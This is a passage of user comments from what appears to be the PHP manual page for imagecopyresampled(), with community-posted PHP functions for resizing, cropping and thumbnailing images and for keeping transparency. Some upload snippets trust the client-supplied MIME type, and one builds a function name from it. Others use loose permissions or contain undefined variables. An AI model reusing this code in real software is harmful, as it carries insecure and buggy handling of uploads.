        $im2=imagecreatetruecolor($w1,$h1);

        imagecopyresampled ($im2,$im1,0,0,0,0,$w1,$h1,$w2,$h2);
        $path=addslashes($thumb);
        ImageJPEG($im2,$path,$quality);
        ImageDestroy($im1);
        ImageDestroy($im2);

}
?>
alex-thennstaett-remove at gmx dot net 10-Nov-2012 05:06
Having updated GD-Library from 2.0.35-r1 to 2.0.35-r3 using negative numbers for $dstX or $dstY started to produce unpredictable results, such as inserting shrinked images and enlarging $dstH or $dstW all by itself. While it did work fine previously, one should avoid using or calculating negative numbers for imagecopyresampled from the beginning.
promaty at gmail dot com 18-May-2011 05:26
Here is my ultimate image resizer that preserves transparency for gif's and png's and has an option to crop images to fixed dimensions (preserves image proportions by default)

<?php
function image_resize($src, $dst, $width, $height, $crop=0){

  if(!list($w, $h) = getimagesize($src)) return "Unsupported picture type!";

  $type = strtolower(substr(strrchr($src,"."),1));
  if($type == 'jpeg') $type = 'jpg';
  switch($type){
    case 'bmp': $img = imagecreatefromwbmp($src); break;
    case 'gif': $img = imagecreatefromgif($src); break;
    case 'jpg': $img = imagecreatefromjpeg($src); break;
    case 'png': $img = imagecreatefrompng($src); break;
    default : return "Unsupported picture type!";
  }

  // resize
  if($crop){
    if($w < $width or $h < $height) return "Picture is too small!";
    $ratio = max($width/$w, $height/$h);
    $h = $height / $ratio;
    $x = ($w - $width / $ratio) / 2;
    $w = $width / $ratio;
  }
  else{
    if($w < $width and $h < $height) return "Picture is too small!";
    $ratio = min($width/$w, $height/$h);
    $width = $w * $ratio;
    $height = $h * $ratio;
    $x = 0;
  }

  $new = imagecreatetruecolor($width, $height);

  // preserve transparency
  if($type == "gif" or $type == "png"){
    imagecolortransparent($new, imagecolorallocatealpha($new, 0, 0, 0, 127));
    imagealphablending($new, false);
    imagesavealpha($new, true);
  }

  imagecopyresampled($new, $img, 0, 0, $x, 0, $width, $height, $w, $h);

  switch($type){
    case 'bmp': imagewbmp($new, $dst); break;
    case 'gif': imagegif($new, $dst); break;
    case 'jpg': imagejpeg($new, $dst); break;
    case 'png': imagepng($new, $dst); break;
  }
  return true;
}
?>

Example that I use when uploading new images to the server.

This saves the original picture in the form:
original.type

and creates a new thumbnail:
100x100.type

<?php
  $pic_type = strtolower(strrchr($picture['name'],"."));
  $pic_name = "original$pic_type";
  move_uploaded_file($picture['tmp_name'], $pic_name);
  if (true !== ($pic_error = @image_resize($pic_name, "100x100$pic_type", 100, 100, 1))) {
    echo $pic_error;
    unlink($pic_name);
  }
  else echo "OK!";
?>

Cheers!
guru_boy87 at hotmail dot com 23-Jun-2010 04:52
Function to resize an image.

<?php
function resizeImage($originalImage,$toWidth,$toHeight)
{

    list($width, $height) = getimagesize($originalImage);
    $xscale=$width/$toWidth;
    $yscale=$height/$toHeight;

    if ($yscale>$xscale){
        $new_width = round($width * (1/$yscale));
        $new_height = round($height * (1/$yscale));
    }
    else {
        $new_width = round($width * (1/$xscale));
        $new_height = round($height * (1/$xscale));
    }

    $imageResized = imagecreatetruecolor($new_width, $new_height);
    $imageTmp     = imagecreatefromjpeg ($originalImage);
    imagecopyresampled($imageResized, $imageTmp, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

    return $imageResized;

}
?>
seifer at loveletslive dot com 25-Oct-2009 05:27
Okay so I saw that others have posted this already but I just messed around and made it so figured I would share it.

Mine works, not to say others don't, I haven't tested them.

This function creates a thumbnail of the specfied size.
If the thumbnail is a different ration it will automatically crop the center of the source image.

It works if the source image is bigger or smaller than the desired "cropped thumbnail."

Here is the code...
<?php
function CroppedThumbnail($imgSrc,$thumbnail_width,$thumbnail_height) { //$imgSrc is a FILE - Returns an image resource.
    //getting the image dimensions
    list($width_orig, $height_orig) = getimagesize($imgSrc);
    $myImage = imagecreatefromjpeg($imgSrc);
    $ratio_orig = $width_orig/$height_orig;

    if ($thumbnail_width/$thumbnail_height > $ratio_orig) {
       $new_height = $thumbnail_width/$ratio_orig;
       $new_width = $thumbnail_width;
    } else {
       $new_width = $thumbnail_height*$ratio_orig;
       $new_height = $thumbnail_height;
    }

    $x_mid = $new_width/2;  //horizontal middle
    $y_mid = $new_height/2; //vertical middle

    $process = imagecreatetruecolor(round($new_width), round($new_height));

    imagecopyresampled($process, $myImage, 0, 0, 0, 0, $new_width, $new_height, $width_orig, $height_orig);
    $thumb = imagecreatetruecolor($thumbnail_width, $thumbnail_height);
    imagecopyresampled($thumb, $process, 0, 0, ($x_mid-($thumbnail_width/2)), ($y_mid-($thumbnail_height/2)), $thumbnail_width, $thumbnail_height, $thumbnail_width, $thumbnail_height);

    imagedestroy($process);
    imagedestroy($myImage);
    return $thumb;
}

//Create the thumbnail
$newThumb = CroppedThumbnail("MyImageName.jpg",75,100);

// And display the image...
header('Content-type: image/jpeg');
imagejpeg($newThumb);
?>
michael at heymichael dot com 22-Oct-2009 10:08
imagecopyresampled() works amazingly well, but here is something NOT to try with it:

The resize routine I wrote looks for pixel widths, and resizes images based on the notion that if their widths and heights are too big, so are their byte sizes. It worked out well at first.

But when I saw huge byte-size images slipping through beneath my 1000px-wide benchmark, I figured I'd subject the smaller-width images to resizing if their filesize() exceeded 100K.

The idea was that I'd "resize" them keeping their original widths and heights (i.e. in (1) below, $newW = $oldW, $newH = $oldH), and letting the "75" at (2) below reduce the byte size.

DON'T try that. imagecopyresampled() will lock up the server trying to resize an 800px-wide image to a "new" width of 800px. (I caught that on my Windows server before ever putting it on the destination Linux server, so take that with a grain of salt.)

I got around it by making $newW = ($picW * 0.99), etc. You get the byte-size reduction you want without locking up.

(1) imagecopyresampled($image_p, $image, 0, 0, 0, 0, $newW, $newH, $picW, $picH);

(2) imagejpeg($image_p, $theFile, 75);
asgaroth dot belem at gmail dot com 27-Aug-2009 12:42
In case you are having trouble ( like I did ) and getting some kind of noise in the resampled image.

then changing imagecopyresampled() with imagecopyresized()  removes the noise, found that here: http://bugs.php.net/bug.php?id=45030

Do not ask me why. but it works.
asgaroth dot belem at gmail dot com 26-Aug-2009 11:38
About preserving the  transparency when resizing PNGs this was the only thing that worked for me:

<?php imagealphablending($new_watermark, false);
        $color = imagecolortransparent($new_watermark, imagecolorallocatealpha($new_watermark, 0, 0, 0, 127));
        imagefill($new_watermark, 0, 0, $color);
        imagesavealpha($new_watermark, true);
        imagecopyresampled($new_watermark, $watermark, 0, 0, 0, 0, $new_watermark_width, $new_watermark_height, imagesx($watermark),imagesy($watermark));
?>

Tried without success:

<?php imagealphablending($new_watermark, false);
        $color = imagecolortransparent($new_watermark, imagecolorallocate($new_watermark, 0, 0, 0));
        imagefill($new_watermark, 0, 0, $color);
        imagesavealpha($new_watermark, true);
        imagecopyresampled($new_watermark, $watermark, 0, 0, 0, 0, $new_watermark_width, $new_watermark_height, imagesx($watermark),imagesy($watermark));
 ?>

hope it helps someone.
z3n666 at gmail dot com 27-Apr-2009 11:19
I was looking around and couldn't find a function that resizes images to any ratio without leaving a blank area, so i wrote this one. It's able to resize images to any size ratio, when the ratio is no match with the original it will crop proportional area on the original and resize it.

<?php

function _ckdir($fn) {
    if (strpos($fn,"/") !== false) {
        $p=substr($fn,0,strrpos($fn,"/"));
        if (!is_dir($p)) {
            _o("Mkdir: ".$p);
            mkdir($p,777,true);
        }
    }
}
function img_resizer($src,$quality,$w,$h,$saveas) {
    /* v2.5 with auto crop */
    $r=1;
    $e=strtolower(substr($src,strrpos($src,".")+1,3));
    if (($e == "jpg") || ($e == "peg")) {
        $OldImage=ImageCreateFromJpeg($src) or $r=0;
    } elseif ($e == "gif") {
        $OldImage=ImageCreateFromGif($src) or $r=0;
    } elseif ($e == "bmp") {
        $OldImage=ImageCreateFromwbmp($src) or $r=0;
    } elseif ($e == "png") {
        $OldImage=ImageCreateFromPng($src) or $r=0;
    } else {
        _o("Not a Valid Image! (".$e.") -- ".$src);$r=0;
    }
    if ($r) {
        list($width,$height)=getimagesize($src);
        // check if ratios match
        $_ratio=array($width/$height,$w/$h);
        if ($_ratio[0] != $_ratio[1]) { // crop image

            // find the right scale to use
            $_scale=min((float)($width/$w),(float)($height/$h));

            // coords to crop
            $cropX=(float)($width-($_scale*$w));
            $cropY=(float)($height-($_scale*$h));

            // cropped image size
            $cropW=(float)($width-$cropX);
            $cropH=(float)($height-$cropY);

            $crop=ImageCreateTrueColor($cropW,$cropH);
            // crop the middle part of the image to fit proportions
            ImageCopy(
                $crop,
                $OldImage,
                0,
                0,
                (int)($cropX/2),
                (int)($cropY/2),
                $cropW,
                $cropH
            );
        }

        // do the thumbnail
        $NewThumb=ImageCreateTrueColor($w,$h);
        if (isset($crop)) { // been cropped
            ImageCopyResampled(
                $NewThumb,
                $crop,
                0,
                0,
                0,
                0,
                $w,
                $h,
                $cropW,
                $cropH
            );
            ImageDestroy($crop);
        } else { // ratio match, regular resize
            ImageCopyResampled(
                $NewThumb,
                $OldImage,
                0,
                0,
                0,
                0,
                $w,
                $h,
                $width,
                $height
            );
        }
        _ckdir($saveas);
        ImageJpeg($NewThumb,$saveas,$quality);
        ImageDestroy($NewThumb);
        ImageDestroy($OldImage);
    }
    return $r;
}

?>
satanas147 at gmail dot com 02-Apr-2009 08:33
Another add-on to previous php5 class for thumbnail (with a merge of Matt and Zorro's proposals).
This is dedicated to generate thumbnail on the fly for a webpage using the subclass thumbnail.
It saves the generated thumb as myimage_tn, in the same directory.
I'm quite new with php5, so I think this could be optimized, but it seems to work fine.

<?php
// Imaging
class imaging
{
    // Variables
    private $img_input;
    private $img_output;
    private $img_src;
    private $format;
    private $quality = 80;
    private $x_input;
    private $y_input;
    private $x_output;
    private $y_output;
    private $resize;

    // Set image
    public function set_img($img)
    {
        // Find format
        $ext = strtoupper(pathinfo($img, PATHINFO_EXTENSION));
        // JPEG image
        if(is_file($img) && ($ext == "JPG" OR $ext == "JPEG"))
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromJPEG($img);
            $this->img_src = $img;
        }
        // PNG image
        elseif(is_file($img) && $ext == "PNG")
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromPNG($img);
            $this->img_src = $img;
        }
        // GIF image
        elseif(is_file($img) && $ext == "GIF")
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromGIF($img);
            $this->img_src = $img;
        }
        // Get dimensions
        $this->x_input = imagesx($this->img_input);
        $this->y_input = imagesy($this->img_input);
    }

    // Set maximum image size (pixels)
    public function set_size($max_x = 100,$max_y = 100)
    {
        // Resize
        if($this->x_input > $max_x || $this->y_input > $max_y)
        {
            $a= $max_x / $max_y;
            $b= $this->x_input / $this->y_input;
            if ($a<$b)
            {
                $this->x_output = $max_x;
                $this->y_output = ($max_x / $this->x_input) * $this->y_input;
            }
            else
            {
                $this->y_output = $max_y;
                $this->x_output = ($max_y / $this->y_input) * $this->x_input;
            }
            // Ready
            $this->resize = TRUE;
        }
        // Don't resize
        else { $this->resize = FALSE; }
    }
    // Set image quality (JPEG only)
    public function set_quality($quality)
    {
        if(is_int($quality))
        {
            $this->quality = $quality;
        }
    }
    // Save image
    public function save_img($path)
    {
        // Resize
        if($this->resize)
        {
            $this->img_output = ImageCreateTrueColor($this->x_output, $this->y_output);
            ImageCopyResampled($this->img_output, $this->img_input, 0, 0, 0, 0, $this->x_output, $this->y_output, $this->x_input, $this->y_input);
        }
        // Save JPEG
        if($this->format == "JPG" OR $this->format == "JPEG")
        {
            if($this->resize) { imageJPEG($this->img_output, $path, $this->quality); }
            else { copy($this->img_src, $path); }
        }
        // Save PNG
        elseif($this->format == "PNG")
        {
            if($this->resize) { imagePNG($this->img_output, $path); }
            else { copy($this->img_src, $path); }
        }
        // Save GIF
        elseif($this->format == "GIF")
        {
            if($this->resize) { imageGIF($this->img_output, $path); }
            else { copy($this->img_src, $path); }
        }
    }
    // Get width
    public function get_width()
    {
        return $this->x_input;
    }
    // Get height
    public function get_height()
    {
        return $this->y_input;
    }
    // Clear image cache
    public function clear_cache()
    {
        @ImageDestroy($this->img_input);
        @ImageDestroy($this->img_output);
    }
}
class thumbnail extends imaging {
    private $image;
    private $width;
    private $height;

    function __construct($image,$width,$height) {
parent::set_img($image);
parent::set_quality(80);
parent::set_size($width,$height);
            $this->thumbnail= pathinfo($image, PATHINFO_DIRNAME).pathinfo($image, PATHINFO_FILENAME).'_tn.'.pathinfo($image, PATHINFO_EXTENSION);
parent::save_img($this->thumbnail);
parent::clear_cache();
        }
    function __toString() {
            return $this->thumbnail;
    }
}

********
* DEMO *
********
$thumb = new thumbnail('./image_dir/sub_dir/myimage.jpg',100,100);
echo '<img src=\''.$thumb.'\' alt=\'myimage\' title=\'myimage\'/>';

    ?>
zuegs 31-Mar-2009 10:52
Resampling GIFs and retain transparency dosen't work always, as dependent on the resample factor the resulting resampled image has some pattern-noise that prevents "imagegif" to find all the transparent-pixels.
One way to fix this, is to reset all pixels with high alpha to full-transparent:
<?php
// load/create images
$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);
imagealphablending($img_dst, false);

// get and reallocate transparency-color
$transindex = imagecolortransparent($img_src);
if($transindex >= 0) {
  $transcol = imagecolorsforindex($img_src, $transindex);
  $transindex = imagecolorallocatealpha($img_dst, $transcol['red'], $transcol['green'], $transcol['blue'], 127);
  imagefill($img_dst, 0, 0, $transindex);
}

// resample
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

// restore transparency
if($transindex >= 0) {
  imagecolortransparent($img_dst, $transindex);
  for($y=0; $y<$g_ih; ++$y)
    for($x=0; $x<$g_iw; ++$x)
      if(((imagecolorat($img_dst, $x, $y)>>24) & 0x7F) >= 100) imagesetpixel($img_dst, $x, $y, $transindex);

// save GIF
imagetruecolortopalette($img_dst, true, 255);
imagesavealpha($img_dst, false);
imagegif($img_dst, $g_dstfile);
imagedestroy($img_dst);
?>
Warren 17-Jan-2009 11:15
This is a function I wrote for making thumbnails -  it will accept a source *image resource* and destination *path*, plus the max dimension and whether the thumbnail should be square.

I chose to accept a resource as the source to make it a bit more efficient to create multiple sizes. For example:

<?php
$src_im=@imagecreatefromjpeg($pathtofile);
$large = resize($src_im,$destination_large,1024);
@imagedestroy($src_im);
$medium = resize($large,$destination_medium,500);
@imagedestroy($large);
$small = resize($medium,$destination_small,125);
@imagedestroy($medium);
$square = resize($small,$destination_square,75,TRUE);
@imagedestroy($small);
@imagedestroy($square);

function resize($src_im, $dpath, $maxd, $square=false) {
    $src_width = imagesx($src_im);
    $src_height = imagesy($src_im);
    $src_w=$src_width;
    $src_h=$src_height;
    $src_x=0;
    $src_y=0;
    if($square){
        $dst_w = $maxd;
        $dst_h = $maxd;
        if($src_width>$src_height){
            $src_x = ceil(($src_width-$src_height)/2);
            $src_w=$src_height;
            $src_h=$src_height;
        }else{
            $src_y = ceil(($src_height-$src_width)/2);
            $src_w=$src_width;
            $src_h=$src_width;
        }
    }else{
        if($src_width>$src_height){
            $dst_w=$maxd;
            $dst_h=floor($src_height*($dst_w/$src_width));
        }else{
            $dst_h=$maxd;
            $dst_w=floor($src_width*($dst_h/$src_height));
        }
    }
    $dst_im=@imagecreatetruecolor($dst_w,$dst_h);
    @imagecopyresampled($dst_im, $src_im, 0, 0, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
    @imagejpeg($dst_im,$dpath);
    return $dst_im;
}
?>
MBorgPL at gmail dot com 28-Dec-2008 10:53
Another addition to zorroswordsman at gmail dot com's resize class.

The function takes $_FILES['sent_image'] as 1st parameter. The 2nd is complete destination path.

It only moves images.

It returns destination path if succeeded, and false if any error occurred.

<?php
public function move_image($tmp_img, $dest_img)
{
    //verifies if the uploaded file is an image
    if (strpos($tmp_img['type'], 'image') !== false)
        {
        //moves the uploaded file into the destination place
        if (move_uploaded_file($tmp_img['tmp_name'], $dest_img)) {
            return $dest_img;
        }
    }
    return false;
}
?>
MBorg_PL 27-Dec-2008 03:39
Another tiny ammendment to zorroswordsman at gmail dot com's resize class AND matt at rees-jenkins dot co dot uk addition. The class may resize to different width and height not only same ones:

<?php
// Set maximum image size (pixels)
public function set_size($max_x = 100,$max_y = 100)
{

    // Resize
    if($this->x_input > $max_x || $this->y_input > $max_y)
    {

        $a= $max_x / $max_y;
        $b= $this->x_input / $this->y_input;

        if ($a<$b)
        {

            $this->x_output = $max_x;
            $this->y_output = ($max_x / $this->x_input) * $this->y_input;

        }
        else
        {

            $this->y_output = $max_y;
            $this->x_output = ($max_y / $this->y_input) * $this->x_input;

        }
        // Ready

        $this->resize = TRUE;

    }

    // Don't resize
    else { $this->resize = FALSE; }

}
?>

And the use of the class is now:

<?php

##### DEMO #####

// Image
$src = "myimage.jpg";

// Begin
$img = new imaging;
$img->set_img($src);
$img->set_quality(80);

// Small thumbnail
$img->set_size(250,150);
$img->save_img("small_250x150_" . $src);

// Baby thumbnail
$img->set_size(50,250);
$img->save_img("baby_50x250_" . $src);

// Finalize
$img->clear_cache();

?>
matt at rees-jenkins dot co dot uk 14-Oct-2008 03:32
A tiny ammendment to zorroswordsman at gmail dot com's resize class. It was only resizing if both the width AND height where greater than the desired size. This should fix it:

<?php
// Set maximum image size (pixels)
function set_size($size = 100)
{
    // Resize
    if($this->x_input > $size || $this->y_input > $size)
    {
        // Wide
        if($this->x_input >= $this->y_input)
        {
            $this->x_output = $size;
            $this->y_output = ($this->x_output / $this->x_input) * $this->y_input;
        }
        // Tall
        else
        {
            $this->y_output = $size;
            $this->x_output = ($this->y_output / $this->y_input) * $this->x_input;
        }
        // Ready
        $this->resize = TRUE;
    }
    // Don't resize
    else { $this->resize = FALSE; }
}
?>
zorroswordsman at gmail dot com 24-Sep-2008 07:46
I've created a PHP5 image resize class, using ImageCopyResampled, that someone might find useful, with support for JPEG, PNG, and GIF formats. It retains the original image's aspect ratio when resizing, and doesn't resize or resample if the original width and height is smaller then the desired resize.

<?php

// Imaging
class imaging
{

    // Variables
    private $img_input;
    private $img_output;
    private $img_src;
    private $format;
    private $quality = 80;
    private $x_input;
    private $y_input;
    private $x_output;
    private $y_output;
    private $resize;

    // Set image
    public function set_img($img)
    {

        // Find format
        $ext = strtoupper(pathinfo($img, PATHINFO_EXTENSION));

        // JPEG image
        if(is_file($img) && ($ext == "JPG" OR $ext == "JPEG"))
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromJPEG($img);
            $this->img_src = $img;

        }

        // PNG image
        elseif(is_file($img) && $ext == "PNG")
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromPNG($img);
            $this->img_src = $img;

        }

        // GIF image
        elseif(is_file($img) && $ext == "GIF")
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromGIF($img);
            $this->img_src = $img;

        }

        // Get dimensions
        $this->x_input = imagesx($this->img_input);
        $this->y_input = imagesy($this->img_input);

    }

    // Set maximum image size (pixels)
    public function set_size($size = 100)
    {

        // Resize
        if($this->x_input > $size && $this->y_input > $size)
        {

            // Wide
            if($this->x_input >= $this->y_input)
            {

                $this->x_output = $size;
                $this->y_output = ($this->x_output / $this->x_input) * $this->y_input;

            }

            // Tall
            else
            {

                $this->y_output = $size;
                $this->x_output = ($this->y_output / $this->y_input) * $this->x_input;

            }

            // Ready
            $this->resize = TRUE;

        }

        // Don't resize
        else { $this->resize = FALSE; }

    }

    // Set image quality (JPEG only)
    public function set_quality($quality)
    {

        if(is_int($quality))
        {

            $this->quality = $quality;

        }

    }

    // Save image
    public function save_img($path)
    {

        // Resize
        if($this->resize)
        {

            $this->img_output = ImageCreateTrueColor($this->x_output, $this->y_output);
            ImageCopyResampled($this->img_output, $this->img_input, 0, 0, 0, 0, $this->x_output, $this->y_output, $this->x_input, $this->y_input);

        }

        // Save JPEG
        if($this->format == "JPG" OR $this->format == "JPEG")
        {

            if($this->resize) { imageJPEG($this->img_output, $path, $this->quality); }
            else { copy($this->img_src, $path); }

        }

        // Save PNG
        elseif($this->format == "PNG")
        {

            if($this->resize) { imagePNG($this->img_output, $path); }
            else { copy($this->img_src, $path); }

        }

        // Save GIF
        elseif($this->format == "GIF")
        {

            if($this->resize) { imageGIF($this->img_output, $path); }
            else { copy($this->img_src, $path); }

        }

    }

    // Get width
    public function get_width()
    {

        return $this->x_input;

    }

    // Get height
    public function get_height()
    {

        return $this->y_input;

    }

    // Clear image cache
    public function clear_cache()
    {

        @ImageDestroy($this->img_input);
        @ImageDestroy($this->img_output);

    }

}

##### DEMO #####

// Image
$src = "myimage.jpg";

// Begin
$img = new imaging;
$img->set_img($src);
$img->set_quality(80);

// Small thumbnail
$img->set_size(200);
$img->save_img("small_" . $src);

// Baby thumbnail
$img->set_size(50);
$img->save_img("baby_" . $src);

// Finalize
$img->clear_cache();

?>
crash 12-Aug-2008 06:49
The suggestion of converting a gif to a png to retain transparency was useful. However the steps used to maintain the transparency work for a gif as well, so the conversion step is not necessary. Just do everything the same, and save as a gif anyway. i.e.

<?php
$g_iw is new image width
$g_ih is new image height

$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);

//preserve alpha
imagecolortransparent($img_dst, imagecolorallocate($img_dst, 0, 0, 0));
imagealphablending($img_dst, false);
imagesavealpha($img_dst, true);
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

imagegif($img_dst, $g_dstfile);
imagedestroy($img_dst);
?>
swizec at swizec dot com 17-Jul-2008 02:20
Wrote a function for sanitising user uploaded images. It saves the native image in size roughly 800x600 so it still fits on most screens when opened, makes a desired size thumbnail and turns all images into high quality jpegs for smaller bandwidth use.

Thumbnails are made in a similar way a designer would make them in photoshop, first resize the most troublesome dimension to desired size, then crop the rest out so the image retains proportions and most of it ends up in the thumbnail.

<?php

// $image is $_FILES[ <image name> ]
// $imageId is the id used in a database or wherever for this image
// $thumbWidth and $thumbHeight are desired dimensions for the thumbnail
function processImage( $image, $imageId, $thumbWidth, $thumbHeight )
{
    $type = $image[ 'type' ];
    $galleryPath = 'images/collection/';

    if ( strpos( $type, 'image/' ) === FALSE )
    { // not an image
        return FALSE;
    }
    $type = str_replace( 'image/', '', $type );
    $createFunc = 'imagecreatefrom' . $type;

    $im = $createFunc( $image[ 'tmp_name' ] );

    $size = getimagesize( $image[ 'tmp_name' ] );

    $w = $size[ 0 ];
    $h = $size[ 1 ];
    if ( $w > 800 || $h > 600 )
    { // we make sure the image isn't too huge
        if ( $w > 800 )
        {
            $nw = 800;
            $nh = ceil( $nw*($h/$w) );
        }elseif( $h > 600 )
        {
            $nh = 600;
            $nw = ceil( $nh*($w/$h) );
        }

        $im2 = imagecreatetruecolor( $nw, $nh );
        imagecopyresampled( $im2, $im, 0, 0, 0, 0, $nw, $nh, $w, $h );
        imagedestroy( $im );

        $im = $im2;
        $w = $nw;
        $h = $nh;
    }

    // create thumbnail
    $tw = $thumbWidth;
    $th = $thumbHeight;
    $imT = imagecreatetruecolor( $tw, $th );

    if ( $tw/$th > $th/$tw )
    { // wider
        $tmph = $h*($tw/$w);
        $temp = imagecreatetruecolor( $tw, $tmph );
        imagecopyresampled( $temp, $im, 0, 0, 0, 0, $tw, $tmph, $w, $h ); // resize to width
        imagecopyresampled( $imT, $temp, 0, 0, 0, $tmph/2-$th/2, $tw, $th, $tw, $th ); // crop
        imagedestroy( $temp );
    }else
    { // taller
        $tmpw = $w*($th/$h );
        $imT = imagecreatetruecolor( $tmpw, $th );
        imagecopyresampled( $imT, $im, 0, 0, 0, 0, $tmpw, $h, $w, $h ); // resize to height
        imagecopyresampled( $imT, $temp, 0, 0, $tmpw/2-$tw/2, 0, $tw, $th, $tw, $th ); // crop
        imagedestroy( $temp );
    }

    // save the image
    imagejpeg( $im, $galleryPath . $imgid . '.jpg', 100 );
    imagejpeg( $imT, $galleryPath . $imgid . '_thumb.jpg', 100 );
}

?>
mattura gmail com 19-May-2008 10:53
Here's a little function I wrote to resize images to a maximum dimension - based on what facebook does in the galleries. You put in a source, destination and a maximum dimension in pixels (eg 300), and for example if the image is long and thin, the longest edge will be 300px, yet the image retains proportions. A square image will become 300x300, a 6x4 (landscape) will become 300x200, a 4x6 (portrait) - 200x300 etc.
It works on jpg images, but other formats can easily be added.
<?php
function createThumb($spath, $dpath, $maxd) {
 $src=@imagecreatefromjpeg($spath);
 if (!$src) {return false;} else {
  $srcw=imagesx($src);
  $srch=imagesy($src);
  if ($srcw<$srch) {$height=$maxd;$width=floor($srcw*$height/$srch);}
  else {$width=$maxd;$height=floor($srch*$width/$srcw);}
  if ($width>$srcw && $height>$srch) {$width=$srcw;$height=$srch;}  //if image is actually smaller than you want, leave small (remove this line to resize anyway)
  $thumb=imagecreatetruecolor($width, $height);
  if ($height<100) {imagecopyresized($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
  else {imagecopyresampled($thumb, $src, 0, 0, 0, 0, $width, $height, imagesx($src), imagesy($src));}
  imagejpeg($thumb, $dpath);
  return true;
 }
}
?>
bobbyboyojones at hotmail dot com 18-Mar-2008 11:41
I hated that enlarging an image resulted in giant pixels rather than a smoother look, so I wrote this function.  It takes longer, but gives a much nicer look.

<?php

function imagecopyresampledSMOOTH(&$dst_img, &$src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h, $mult=1.25){
    // don't use a $mult that's too close to an int or this function won't make much of a difference

    $tgt_w = round($src_w * $mult);
    $tgt_h = round($src_h * $mult);

    // using $mult <= 1 will make the current step w/h smaller (or the same), don't allow this, always resize by at least 1 pixel larger
    if($tgt_w <= $src_w){ $tgt_w += 1; }
    if($tgt_h <= $src_h){ $tgt_h += 1; }

    // if the current step w/h is larger than the final height, adjust it back to the final size
    // this check also makes it so that if we are doing a resize to smaller image, it happens in one step (since that's already smooth)
    if($tgt_w > $dst_w){ $tgt_w = $dst_w; }
    if($tgt_h > $dst_h){ $tgt_h = $dst_h; }

    $tmpImg = imagecreatetruecolor($tgt_w, $tgt_h);

    imagecopyresampled($tmpImg, $src_img, 0, 0, $src_x, $src_y, $tgt_w, $tgt_h, $src_w, $src_h);
    imagecopy($dst_img, $tmpImg, $dst_x, $dst_y, 0, 0, $tgt_w, $tgt_h);
    imagedestroy($tmpImg);

    // as long as the final w/h has not been reached, reep on resizing
    if($tgt_w < $dst_w OR $tgt_h < $dst_h){
        imagecopyresampledSMOOTH($dst_img, $dst_img, $dst_x, $dst_y, $dst_x, $dst_y, $dst_w, $dst_h, $tgt_w, $tgt_h, $mult);
    }
}

?>
arnar at netvistun dot is 16-Mar-2008 10:58
A small thumb script. Lets you specify max height and width. The thumb will always be of a rectangular shape while the image itself retains it's proportions. Very clean.

<?php
// The file
$filename = 'a.jpg';

// Set a maximum height and width
$width = 80;
$height = 80;

$thumbsize = 80;

// Content type
header('Content-type: image/jpeg');

// Get new dimensions
list($width_orig, $height_orig) = getimagesize($filename);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
   $width = $height*$ratio_orig;
} else {
   $height = $width/$ratio_orig;
}

// Resample
$image_p = imagecreatetruecolor($thumbsize, $thumbsize);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, -($width/2) + ($thumbsize/2), -($height/2) + ($thumbsize/2), 0, 0, $width, $height, $width_orig, $height_orig);

// Output
imagejpeg($image_p, null, 100);
?>
rayg at daylongraphics dot com 07-Mar-2008 02:45
Here's a simple function to resample one JPEG imagefile to another while keeping aspect ratio of the source within the destination's dimensions. You can also tune the allowable distortion if you end up making too many thumbnails with thin blank areas around them. Should work when enlarging images too. Function returns true if it worked, false if not.

function resample_picfile($src, $dst, $w, $h)
{
    // If distortion stretching is within the range below,
    // then let image be distorted.
    $lowend = 0.8;
    $highend = 1.25;

    $src_img = imagecreatefromjpeg($src);
    if($src_img)
    {
        $dst_img = ImageCreateTrueColor($w, $h);
        /* if you don't want aspect-preserved images
to have a black bkgnd, fill $dst_img with the color of your choice here.
        */

        if($dst_img)
        {
            $src_w = imageSX($src_img);
            $src_h = imageSY($src_img);

            $scaleX = (float)$w / $src_w;
            $scaleY = (float)$h / $src_h;
            $scale = min($scaleX, $scaleY);

            $dstW = $w;
            $dstH = $h;
            $dstX = $dstY = 0;

            $scaleR = $scaleX / $scaleY;
            if($scaleR < $lowend || $scaleR > $highend)
            {
                $dstW = (int)($scale * $src_w + 0.5);
                $dstH = (int)($scale * $src_h + 0.5);

                // Keep pic centered in frame.
                $dstX = (int)(0.5 * ($w - $dstW));
                $dstY = (int)(0.5 * ($h - $dstH));
            }

            imagecopyresampled(
                $dst_img, $src_img, $dstX, $dstY, 0, 0,
                $dstW, $dstH, $src_w, $src_h);
            imagejpeg($dst_img, $dst);
            imagedestroy($dst_img);
        }
        imagedestroy($src_img);
        return file_exists($dst);
    }
    return false;
}
wm at violet dot bg 20-Feb-2008 01:16
This is a fixed version of ImageCopyResampledBicubic posted by liviu.malaescu
The original version wasn't respecting src_x & src_y args

<?php
    function ImageCopyResampledBicubic(&$dst_image, &$src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)  {
        // we should first cut the piece we are interested in from the source
        $src_img = ImageCreateTrueColor($src_w, $src_h);
        imagecopy($src_img, $src_image, 0, 0, $src_x, $src_y, $src_w, $src_h);

        // this one is used as temporary image
        $dst_img = ImageCreateTrueColor($dst_w, $dst_h);

        ImagePaletteCopy($dst_img, $src_img);
        $rX = $src_w / $dst_w;
        $rY = $src_h / $dst_h;
        $w = 0;
        for ($y = 0; $y < $dst_h; $y++)  {
            $ow = $w; $w = round(($y + 1) * $rY);
            $t = 0;
            for ($x = 0; $x < $dst_w; $x++)  {
                $r = $g = $b = 0; $a = 0;
                $ot = $t; $t = round(($x + 1) * $rX);
